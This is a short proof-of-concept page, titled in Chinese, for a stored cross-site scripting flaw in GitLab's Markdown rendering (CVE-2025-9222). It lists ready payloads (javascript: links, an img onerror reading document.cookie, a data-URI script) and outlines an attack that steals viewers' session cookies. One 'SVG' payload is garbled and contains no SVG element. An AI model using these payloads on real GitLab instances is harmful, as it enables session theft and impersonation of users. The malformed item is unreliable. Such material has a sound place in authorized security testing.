GitLab CE/EE 存储型XSS漏洞 (CVE-2025-9222)

// CVE-2025-9222 PoC - GitLab Stored XSS via GFM // This PoC demonstrates how to inject malicious JavaScript through GitLab Flavored Markdown // Method 1: Using JavaScript protocol in link const maliciousLink = '[Click me](javascript:alert(document.domain))'; // Method 2: Using event handlers in HTML within Markdown const maliciousHTML = '<img src=x onerror=alert(document.cookie)>'; // Method 3: Using SVG element with event handler const maliciousSVG = '[)](javascript:prompt(1))'; // Method 4: Using data URI with script const maliciousDataURI = '[link](data:text/html,<script>alert(origin)</script>)'; // Exploitation scenario: // 1. Attacker creates a new issue/comment/MR description // 2. Inserts one of the above payloads in the Markdown content // 3. When any user views the content, the XSS payload executes // 4. Attacker can steal session cookies, perform actions as victim // Recommended test payload (safe version for testing): const testPayload = '[Test XSS](javascript:alert("XSS Vulnerability Confirmed"))'; // Note: This PoC is for educational and security testing purposes only. // Always obtain proper authorization before testing security vulnerabilities.